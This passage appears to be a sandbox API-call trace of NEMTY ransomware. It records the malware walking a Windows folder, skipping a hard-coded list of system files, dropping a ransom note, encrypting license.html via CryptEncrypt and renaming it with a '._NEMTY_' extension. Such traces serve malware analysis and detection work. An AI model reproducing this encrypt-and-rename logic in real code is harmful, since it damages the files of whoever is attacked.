lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0173.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.014] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0173.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.015] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.015] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0173.015] CloseHandle (hObject=0x254) returned 1 [0173.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0173.016] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1ac39570, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ac39570, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0173.016] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0173.016] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1ac39570, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ac39570, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0173.016] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0173.016] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0173.016] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0173.016] lstrcmpiW (lpString1="eula.ini", lpString2=".") returned 1 [0173.016] lstrcmpiW (lpString1="eula.ini", lpString2="..") returned 1 [0173.016] lstrcmpiW (lpString1="eula.ini", lpString2="...") returned 1 [0173.016] lstrcmpiW (lpString1="eula.ini", lpString2="windows") returned -1 [0173.016] lstrcmpiW (lpString1="eula.ini", lpString2="$RECYCLE.BIN") returned 1 [0173.016] lstrcmpiW (lpString1="eula.ini", lpString2="rsa") returned -1 [0173.016] lstrcmpiW (lpString1="eula.ini", lpString2="NTDETECT.COM") returned -1 [0173.016] lstrcmpiW (lpString1="eula.ini", lpString2="ntldr") returned -1 [0173.016] lstrcmpiW (lpString1="eula.ini", lpString2="MSDOS.SYS") returned -1 [0173.016] lstrcmpiW (lpString1="eula.ini", lpString2="IO.SYS") returned -1 [0173.016] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0173.016] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0173.016] lstrcmpiW (lpString1="eula.ini", lpString2="AUTOEXEC.BAT") returned 1 [0173.016] lstrcmpiW (lpString1="eula.ini", lpString2="ntuser.dat") returned -1 [0173.016] lstrcmpiW (lpString1="eula.ini", lpString2="desktop.ini") returned 1 [0173.016] lstrcmpiW (lpString1="eula.ini", lpString2="CONFIG.SYS") returned 1 [0173.016] lstrcmpiW (lpString1="eula.ini", lpString2="RECYCLER") returned -1 [0173.016] lstrcmpiW (lpString1="eula.ini", lpString2="BOOTSECT.BAK") returned 1 [0173.016] lstrcmpiW (lpString1="eula.ini", lpString2="bootmgr") returned 1 [0173.017] lstrcmpiW (lpString1="eula.ini", lpString2="programdata") returned -1 [0173.017] lstrcmpiW (lpString1="eula.ini", lpString2="appdata") returned 1 [0173.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0173.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.017] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xba2a, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0173.017] lstrcmpiW (lpString1="license.html", lpString2=".") returned 1 [0173.017] lstrcmpiW (lpString1="license.html", lpString2="..") returned 1 [0173.017] lstrcmpiW (lpString1="license.html", lpString2="...") returned 1 [0173.017] lstrcmpiW (lpString1="license.html", lpString2="windows") returned -1 [0173.017] lstrcmpiW (lpString1="license.html", lpString2="$RECYCLE.BIN") returned 1 [0173.017] lstrcmpiW (lpString1="license.html", lpString2="rsa") returned -1 [0173.017] lstrcmpiW (lpString1="license.html", lpString2="NTDETECT.COM") returned -1 [0173.017] lstrcmpiW (lpString1="license.html", lpString2="ntldr") returned -1 [0173.018] lstrcmpiW (lpString1="license.html", lpString2="MSDOS.SYS") returned -1 [0173.018] lstrcmpiW (lpString1="license.html", lpString2="IO.SYS") returned 1 [0173.018] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0173.018] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0173.018] lstrcmpiW (lpString1="license.html", lpString2="AUTOEXEC.BAT") returned 1 [0173.018] lstrcmpiW (lpString1="license.html", lpString2="ntuser.dat") returned -1 [0173.018] lstrcmpiW (lpString1="license.html", lpString2="desktop.ini") returned 1 [0173.018] lstrcmpiW (lpString1="license.html", lpString2="CONFIG.SYS") returned 1 [0173.018] lstrcmpiW (lpString1="license.html", lpString2="RECYCLER") returned -1 [0173.018] lstrcmpiW (lpString1="license.html", lpString2="BOOTSECT.BAK") returned 1 [0173.018] lstrcmpiW (lpString1="license.html", lpString2="bootmgr") returned 1 [0173.018] lstrcmpiW (lpString1="license.html", lpString2="programdata") returned -1 [0173.018] lstrcmpiW (lpString1="license.html", lpString2="appdata") returned 1 [0173.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.018] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.018] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.018] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.018] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.018] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.018] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.018] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.018] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0173.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0173.018] Sleep (dwMilliseconds=0x5) [0173.033] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ac85830, dwHighDateTime=0x1d561e8)) [0173.033] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ac85830, dwHighDateTime=0x1d561e8)) [0173.033] GetLastError () returned 0xb7 [0173.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.033] GetLastError () returned 0xb7 [0173.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.033] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.033] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.033] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0173.033] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="42exmWERcRQ/j5KJSoacoaKxBKsnsKZHIry0wucj0xc90NItRe1kK0yVIVd4o47/\r\n+UqgB/LE7FwfFVmhKsIig1yGizTJv7Hvu+4fPF94izYd6fpneqjmSZt4WdP02Mpo\r\nyST5RCJS2y/AYWKYxns6HU7ErDTGsSXv6vShYKMOQcOFxdkjJ8H5s1MWGNl4H4XO\r\nepnEtg1ybi6t5JR593Ia0MbpgjGWGOGMABhsQzkyCwLhI1226hwzTfADLX4C+ooe\r\n3sXQGqLTs4n/W1N2ph7rL4kKk/XojK7G5vSOPawTVUE0olXfDhQzcuuWW1pcfJUt\r\nryZSOwr9xzPzpMzKv2QIIg==\r\n", pcchString=0x653e5dc) returned 1 [0173.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0173.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.034] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0173.034] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=47658) returned 1 [0173.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xba20) returned 0x6352c48 [0173.034] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.034] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xba20, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xba20, lpOverlapped=0x0) returned 1 [0173.039] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.039] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xba20, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xba20, lpOverlapped=0x0) returned 1 [0173.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.039] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=47658, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xba2a [0173.039] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.039] CloseHandle (hObject=0x3b0) returned 1 [0173.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0173.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0173.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0173.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0173.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.039] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\license.html._nemty_kgobjgd_")) returned 1 [0173.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0173.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0173.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0173.040] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ac39570, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1ac39570, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ac39570, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0173.040] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0173.040] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0173.040] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0173.040] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0173.040] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0173.040] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0173.040] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0173.040] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0173.040] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0173.040] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0173.040] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.040] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.041] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0173.041] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0173.041] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0173.041] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0173.041] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0173.041] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0173.041] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0173.041] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0173.041] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0173.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0173.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, 